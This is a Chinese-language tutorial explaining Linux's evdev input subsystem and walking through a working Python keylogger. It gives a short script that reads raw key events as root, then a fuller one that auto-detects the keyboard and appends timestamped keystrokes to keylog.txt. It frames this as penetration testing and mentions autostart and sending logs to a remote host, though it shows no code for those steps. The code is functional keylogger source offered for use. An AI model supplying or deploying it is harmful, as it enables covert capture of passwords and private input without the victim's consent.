前言
大家知道,在Linux下一切皆文件。所以,鍵盤(pán)鼠標(biāo)等作為一種標(biāo)準(zhǔn)輸入輸出設(shè)備必然也是在Linux系統(tǒng)中以文件的形式存在的。熟悉Linux的話一下就可以想到在/dev/下的這種設(shè)備文件,所以這里我們需要的就是讀取指定的鍵盤(pán)設(shè)備文件就可以了。
這里需要使用到linux的驅(qū)動(dòng)-input輸入子系統(tǒng)`evdev`。`evdev`輸入事件驅(qū)動(dòng),為輸入子系統(tǒng)提供了一個(gè)默認(rèn)的事件處理方法。其接收來(lái)自底層驅(qū)動(dòng)的大多數(shù)事件,并使用相應(yīng)的邏輯對(duì)其進(jìn)行處理。`evdev`輸入事件驅(qū)動(dòng)從底層接收事件信息,將其反映到 sys 文件系統(tǒng)中,用戶程序通過(guò)對(duì) sys 文件系統(tǒng)的操作,就能夠達(dá)到處理事件的能力。在這里我們使用一個(gè)叫做`evdev`的python庫(kù)進(jìn)行處理,其原理是用C函數(shù)`evdev_read()`讀取`/dev/eventX`設(shè)備中的buffer數(shù)組,里面存有input_event類型數(shù)據(jù)。
1.1 Linux下的鍵盤(pán)響應(yīng)事件
Linux下的鍵盤(pán)響應(yīng)事件即上面說(shuō)到的input輸入子系統(tǒng)`evdev`輸入事件驅(qū)動(dòng)。首先需要理解`input_event`類型的數(shù)據(jù)描述。在Linux內(nèi)核中,input設(shè)備用`input_dev`結(jié)構(gòu)體描述,使用input子系統(tǒng)實(shí)現(xiàn)輸入設(shè)備驅(qū)動(dòng)的時(shí)候,驅(qū)動(dòng)的核心工作就是向系統(tǒng)報(bào)告按鍵、觸摸屏、鍵盤(pán)、鼠標(biāo)等輸入事件(`event`,通過(guò)`input_event`結(jié)構(gòu)體描述),不再需要關(guān)心文件操作接口,因?yàn)镮nput子系統(tǒng)已經(jīng)完成了文件操作接口。
在`linux/input.h` 這個(gè)文件(具體位置在 `/usr/include/linux/input.h`)定義了event事件的結(jié)構(gòu)體,API和標(biāo)準(zhǔn)按鍵的編碼等:
struct input_event {
struct timeval time; //按鍵時(shí)間
__u16 type; //事件類型
__u16 code; //模擬的按鍵
__s32 value;//是按下還是釋放
};
type,指事件類型。在這里咱們研究的是:按鍵事件,當(dāng)然還有其他事件(比如鼠標(biāo)事件等),這里不再詳細(xì)討論。
code:事件的代碼。這里只討論按鍵事件,其類型代碼code是EV_KEY,該代碼為設(shè)備鍵盤(pán)代碼。在該文頭文件中已經(jīng)定義的0~248中不同的鍵盤(pán)按鍵代碼(詳細(xì)見(jiàn)linux/input.h文件)。
value: 事件的值。同樣,咱們討論事件的類型代碼是EV_KEY,當(dāng)按鍵按下時(shí)值為1,松開(kāi)時(shí)值為0。
1.2 Python的evdev模塊
根據(jù)官方文檔(`[https://python-evdev.readthedocs.org](https://python-evdev.readthedocs.org/)`)說(shuō)明,evdev模塊使用比較簡(jiǎn)單。最新版本的python-evdev模塊可以使用`pip`安裝。當(dāng)然,安裝之前需要Linux系統(tǒng)具有`gcc/clang`,并具有python環(huán)境和Linux內(nèi)核頭文件支持。
1.3 Python實(shí)現(xiàn)鍵盤(pán)監(jiān)控
經(jīng)過(guò)上面對(duì)設(shè)備文件的列舉,很容易就知道在我這臺(tái)電腦上對(duì)應(yīng)的鍵盤(pán)設(shè)備事件文件是/dev/input/event0 所以,直接監(jiān)控這個(gè)設(shè)備文件進(jìn)行讀取就OK了。下面是10行不到就可以實(shí)現(xiàn)的簡(jiǎn)單鍵盤(pán)記錄腳本(注意,由于設(shè)備文件的讀取需要權(quán)限,所以這里以root運(yùn)行):
#!/usr/bin/env python
# coding=utf-8
from evdev import InputDevice
from select import select
dev = InputDevice('/dev/input/event0')
while True:
select([dev],[],[])
for event in dev.read():
if(event.value == 1 or event.value == 0) and event.code != 0:
print "Key:%s Status:%s" % (event.code, "pressed." if event.value else "release.")
上面的簡(jiǎn)單程序基本可以監(jiān)聽(tīng)到鍵盤(pán)記錄,但是如果放到現(xiàn)實(shí)的滲透測(cè)試環(huán)境中還是不行的。比如還需要實(shí)現(xiàn)自啟動(dòng),自動(dòng)識(shí)別鍵盤(pán)設(shè)備文件,如果存在多個(gè)鍵盤(pán)設(shè)備那還要采用多線程實(shí)現(xiàn)對(duì)多個(gè)鍵盤(pán)設(shè)備事件同時(shí)進(jìn)行監(jiān)控,還有實(shí)現(xiàn)在線記錄和離線記錄以及自動(dòng)發(fā)送遠(yuǎn)程主機(jī)等等技術(shù)需要實(shí)現(xiàn)。
對(duì)上面的程序進(jìn)行簡(jiǎn)單的修改,就可以做一個(gè)簡(jiǎn)單的鍵盤(pán)記錄程序。
keylogger_in_linux.py
#!/usr/bin/env python
# coding=utf-8
import re
import sys
import time
from evdev import InputDevice, list_devices
from select import select
lasttime = int(time.time())
def findDevice():
devs = [InputDevice(fn) for fn in list_devices()]
for dev in devs:
if(re.search('eyboard', dev.name)):
kb_device = dev.fn
return kb_device
return False
def ctoa(code):
dict = {
1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7',9: '8',
10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e',
19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[',
27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift',
43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',51: ',',
52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1',
60: 'F2', 61: 'F3',62: 'F4',63: 'F5',64: 'F6',65: 'F7',66: 'F8',67: 'F9',
68: 'F10',69: 'numlock',70: 'scrollock',87: 'F11',88: 'F12',97: 'ctrl',99: 'sys_Rq',
100: 'alt',102: 'home',104: 'PageUp',105: 'Left',106: 'Right',107: 'End',
108: 'Down',109: 'PageDown',111: 'del',125: 'Win',126:'Win',127: 'compose'
}
if code in dict:
return dict[code]
def writefile(asc):
global lasttime
f = open("keylog.txt","a")
now = int(time.time())
ntime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now))
if abs(now-lasttime) < 5:
f.write(asc+" ")
else:
f.write('\n['+ntime+"] "+asc)
lasttime = now
f.close()
def detectInputKey():
device = findDevice()
if not device:
print "[-] Can't find any keyboard devices!"
print "[-] Exit..."
sys.exit(0)
dev = InputDevice(device)
while True:
select([dev],[],[])
for event in dev.read():
if event.value == 1 and event.code != 0:
asc = ctoa(event.code)
writefile(asc)
print asc,
sys.stdout.flush()
if __name__ == "__main__":
detectInputKey()
至此,一個(gè)簡(jiǎn)單的Linux下的鍵盤(pán)記錄程序就完成了。